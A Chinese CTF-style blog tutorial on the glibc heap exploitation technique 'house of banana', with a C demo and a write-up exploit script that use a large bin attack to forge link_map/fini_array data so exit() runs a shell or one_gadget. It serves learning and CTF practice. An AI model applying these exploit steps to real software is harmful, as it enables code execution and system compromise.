首页 > 其他分享 >house of banana

house of banana

时间:2024-09-06 16:14:39浏览次数:8  
标签:uint64 p2 malloc p1 house fake largebin banana

条件:

1.任意地址写一个堆地址

2.触发exit函数

3.能泄露堆地址和基地址

原理:

伪造 fini_array 赋值用到的结构体 从而控制程序exit时的程序执行流

ld.so 中存在 _rtld_global指针,指向 rtld_global结构体 ,里面有 _dl_ns 结构体 ,这个结构体里面存储的是elf隔断的符号结构体, fini_array段 的结构体在 _dl_fini中被使用 ,伪造该结构体指针,可以使得array指向我们可控的数据区,从而布置下一系列函数,进而劫持程序的流,house of banana的思想就是利用large bin attack往rtld_global写入堆的地址,并事先在堆里伪造好rtld_global结构体,这样程序exit或者正常退出main函数时,便会执行到伪造的fini_array数组。

demo

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <assert.h>

void shell()
{
   system("/bin/sh");
}

uint64_t getLibcBase()
{
   uint64_t to;
   uint64_t from;
   char buf[0x400];
   
   FILE* file;
   sprintf(buf, "/proc/%d/maps",(int)getpid()); 
   file = fopen(buf, "r");
   while(fgets(buf, sizeof(buf), file)) 
   {
      if(strstr(buf,"libc")!=NULL)
      {
          sscanf(buf, "%lx-%lx", &from, &to);
          fclose(file);
          return from;
      }
   }
}

int main(){
	setvbuf(stdin,NULL,_IONBF,0);
	setvbuf(stdout,NULL,_IONBF,0);
	setvbuf(stderr,NULL,_IONBF,0);

	uint64_t libcBase = getLibcBase();
	uint64_t rtld_global = libcBase+0x23d060;
	uint64_t* next_node = (uint64_t*)(rtld_global-0x4b048);   
	uint64_t *p1 = malloc(0x428); /* 为了触发 largebin attack */
	uint64_t *g1 = malloc(0x18);

	uint64_t *p2 = malloc(0x418); /* p1->size和p2->size必须不相同 */
	uint64_t *g2 = malloc(0x18);
	uint64_t fake = (uint64_t)p2-0x10;

	*(uint64_t*)(fake+0x28)  = fake;
	*(uint64_t*)(fake+0x31c) = 0x1c;
	*(uint64_t*)(fake+0x110) = fake+0x40;
	*(uint64_t*)(fake+0x48)  = fake+0x58;
	*(uint64_t*)(fake+0x58)  = (uint64_t)shell;
	*(uint64_t*)(fake+0x120) = fake+0x48;
	*(uint64_t*)(fake+0x50)  = 0x8;

	printf("libcBase is 0x%lx\n",libcBase);
	printf("rtld_global is 0x%lx\n",rtld_global);

	free(p1);
	uint64_t *g3 = malloc(0x438); //force p1 insert in to the largebin
	free(p2);
	p1[3] = ((uint64_t)next_node -0x20); //push p2 into unsoteded bin
	uint64_t *g4 = malloc(0x438); //force p2 insert in to the largebin

	p2[1] = 0;
	p2[3] = fake;

	return 0;
}

largebinattack基本流程

2.31的libc

uint64_t *p1 = malloc(0x428); /* 为了触发 largebin attack */
uint64_t *g1 = malloc(0x18);
uint64_t *p2 = malloc(0x418); /* p1->size和p2->size必须不相同 */
uint64_t *g2 = malloc(0x18);
uint64_t fake = (uint64_t)p2-0x10;

让p1进入largebinattack ,再让p2进入unsortedbin,修改p1的fd_nextsize指针,触发largebinattack,然后把p2地址写入next_node之中

free(p1);
uint64_t *g3 = malloc(0x438); //force p1 insert in to the largebin
free(p2);
p1[3] = ((uint64_t)next_node -0x20); //push p2 into unsoteded bin
uint64_t *g4 = malloc(0x438); //force p2 insert in to the largebin

接下来就是布置link_mmap结构体

*(uint64_t*)(fake+0x28)  = fake;
*(uint64_t*)(fake+0x31c) = 0x1c;
*(uint64_t*)(fake+0x110) = fake+0x40;
*(uint64_t*)(fake+0x48)  = fake+0x58;
*(uint64_t*)(fake+0x58)  = (uint64_t)shell;
*(uint64_t*)(fake+0x120) = fake+0x48;
*(uint64_t*)(fake+0x50)  = 0x8;

例题

上周打的邑网杯决赛,线下有一个题目刚好是uaf的,largebin attack

漏洞分析

add函数

申请0x420-0x550堆块,堆块size错误会触发exit函数

delete函数

存在uaf漏洞

show功能正常

edit函数也能正常使用,delete没有清空size

思路:泄露堆地址和基地址之后,触发largebinattack往next_node写入堆地址,再利用uaf往堆地址中伪造结构体,最后输入错误size触发exit函数

泄露堆和基地址

add(0,0x520)
add(1,0x508)
add(2,0x510)
add(3,0x500)
free(0)
free(2)
show(2)
heap_base = h64() - 0x290
add(4,0x510)# 2&4 unsortedbin
free(2)
show(0)# largebin
libc_base = l64() - 0x1ed010

接下来又是熟悉的largebin attack环节

payload = p64(libc_base+ 0x1ed010)*2+p64(heap_base+0x290)+p64(next_node-0x20)
edit(0, payload)
add(5,0x550)# 2&4 into largebin & largebin attack

往next_node中写入堆地址

接下来就是往heap中布置结构体了

og=libc_base+0xe3afe
heap2_addr=heap_base+0xcd0
fake_addr=heap2_addr
pl = p64(0)*3 + p64(fake_addr)
pl = pl.ljust(0x38,b'\x00')+p64(fake_addr+0x58)+p64(8)+p64(og)
pl = pl.ljust(0x100,b'\x00')+p64(fake_addr+0x40)
pl = pl.ljust(0x110,b'\x00')+p64(fake_addr+0x48)
pl = pl.ljust(0x31c-0x10,b'\x00')+p64(0x1c) #0x314
edit(2,pl)

触发exit()

sla(b'>> ', b'1')
sla(b'much?\n', str(0x10))

标签:uint64,p2,malloc,p1,house,fake,largebin,banana
From: https://www.cnblogs.com/L1nyun/p/18400464

相关文章

  • house of cat
    调用方法调用链1houseofcat调用链__malloc_assert在2.35的glibc中源码如下staticvoid__malloc_assert(constchar*assertion,constchar*file,unsignedintline, constchar*function){(void)__fxprintf(NULL,"%s%s%s:%u:%s%sAssertion`%s'fa......
  • house of stom
    完成事项houseofstom学习未完成事项wmctf的blineless没打通如何解决未完成事项下周待做事项houseoforangehouseoflore本周学习的知识分享houseofstom条件:1.能控制unsorted的bk指针,还有largebin的fd_nextsize和bk_nextsize码源分析largebinattack:申请大chunk......
  • 记录 macos 链接 win10 wsl2 ubuntu clickhouse 记录
    遇到了许多问题顺序应该不同首先就是链接的客户端是DBeaver链接的时候要选择版本低版本的用legacy,   驱动也很重要,下不到驱动的可以用网上找的驱动来安装  有的时候会有类名的问题但是报错很离谱会报  dbeaverclickhouse链接错误code:46Unknow......
  • clickhouse组件介绍
    写在前面今天学习clickhouse部分的知识。ClickHouseOLTP(联机事务处理系统)例如MySQL等关系型数据库,适用于小数据量时的快速查询和分析。OLTP主要针对增删改操作,数据经常发生变化。OLAP(联机分析处理系统)适用于数据长期不变且有大量历史数据的场景,主要进行分析操作,增......
  • 使用 Quickwit 的搜索流功能为 ClickHouse 添加全文搜索
    本指南将帮助您使用Quickwit的搜索流功能为知名的OLAP数据库ClickHouse添加全文搜索。Quickwit暴露了一个REST端点,可以极快地(每秒最多5000万条)流式传输匹配搜索查询的ID或其他属性,ClickHouse可以轻松地使用它们进行连接查询。我们将采用GitHub存档数据集,该数据......
  • clickhouse备份与恢复 - 使用官方命令
    在ClickHouse中可以通过以下步骤将数据备份到文件服务器上:编辑ClickHouse配置文件/etc/clickhouse-server/config.xml,在<backup_settings>部分添加以下内容:<remote_servers><b_server><host>b_server_ip_or_hostname</host><user>remote_......
  • Clickhouse备份与恢复
    一、安装clickhouse-backup1、下载安装包cd/server/tools/wgethttps://github.com/Altinity/clickhouse-backup/releases/download/v2.4.33/clickhouse-backup-linux-amd64.tar.gz2、创建存放clickhouse-backup的目录,并解压mkdir-pv/data/clickhouse-backuptarxvfcl......
  • 数据迁移新技能,MongoDB轻松同步至ClickHouse
    在当今数据驱动的世界中,企业的成功依赖于对数据的高效管理和精准分析。数据迁移是实现这些目标的关键环节,而选择合适的工具可以让这项工作变得更加轻松和高效。ETLCloud是一款创新的ETL(提取、转换、加载)工具,它提供了简单直观的界面和强大的功能,专门为现代数据集成挑战设计。它不......
  • 数据迁移新技能,MongoDB轻松同步至ClickHouse
    在当今数据驱动的世界中,企业的成功依赖于对数据的高效管理和精准分析。数据迁移是实现这些目标的关键环节,而选择合适的工具可以让这项工作变得更加轻松和高效。ETLCloud是一款创新的ETL(提取、转换、加载)工具,它提供了简单直观的界面和强大的功能,专门为现代数据集成挑战设计。它不......
  • Clickhouse 配置中文详细介绍 第一章 config.xml
    Clickhouse的配置太多且难以理解,花了两天逐步理解每个配置的作用并逐段机翻了一下注释,并增加了如何配置的建议<!--NOTE:Userandquerylevelsettingsaresetupin"users.xml"file.Ifyouhaveaccidentallyspecifieduser-levelsettingshere,serverwo......